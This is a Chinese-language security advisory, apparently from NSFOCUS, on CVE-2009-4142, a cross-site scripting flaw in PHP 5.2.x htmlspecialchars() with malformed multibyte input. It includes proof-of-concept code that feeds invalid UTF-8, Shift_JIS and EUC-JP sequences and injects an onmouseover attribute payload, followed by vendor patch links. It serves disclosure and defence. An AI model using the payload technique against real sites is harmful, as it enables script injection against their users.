安全研究

安全漏洞
PHP htmlspecialcharacters()畸形多字节字符跨站脚本漏洞

发布日期:2009-12-17
更新日期:2009-12-18

受影响系统:
PHP PHP 5.2.x
不受影响系统:
PHP PHP 5.2.12
描述:
BUGTRAQ  ID: 37389
CVE ID: CVE-2009-4142

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的htmlspecialchars()函数没有正确地过滤某些多字节字符输入,远程攻击者可以通过提交包含有特殊字符的请求序列执行跨站脚本攻击。

<*来源:Moriyoshi (hello@iwamot.com
  
  链接:http://secunia.com/advisories/37821/
        http://bugs.php.net/bug.php?id=49785
        http://security.gentoo.org/glsa/201001-03.xml
        https://www.redhat.com/support/errata/RHSA-2010-0040.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');


<?php

$_GET['a1'] = "\xf0";    // \xf0 - \xfc で可能
$_GET['a2'] = " href=dummy onmouseover=alert(document.title) dummy=dummy";

header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET['a1'], ENT_QUOTES, 'SJIS' ) ?>" href="<?php echo htmlspecialchars( $_GET['a2'], ENT_QUOTES, 'SJIS' ) ?>">test</a></p>
</body>
</html>

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/ChangeLog-5.php#5.2.12

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2010:0040-01)以及相应补丁:
RHSA-2010:0040-01:Moderate: php security update
链接:https://www.redhat.com/support/errata/RHSA-2010-0040.html

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA 201001-03)以及相应补丁:
GLSA 201001-03:PHP: Multiple vulnerabilities
链接:http://security.gentoo.org/glsa/201001-03.xml

浏览次数:3528
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障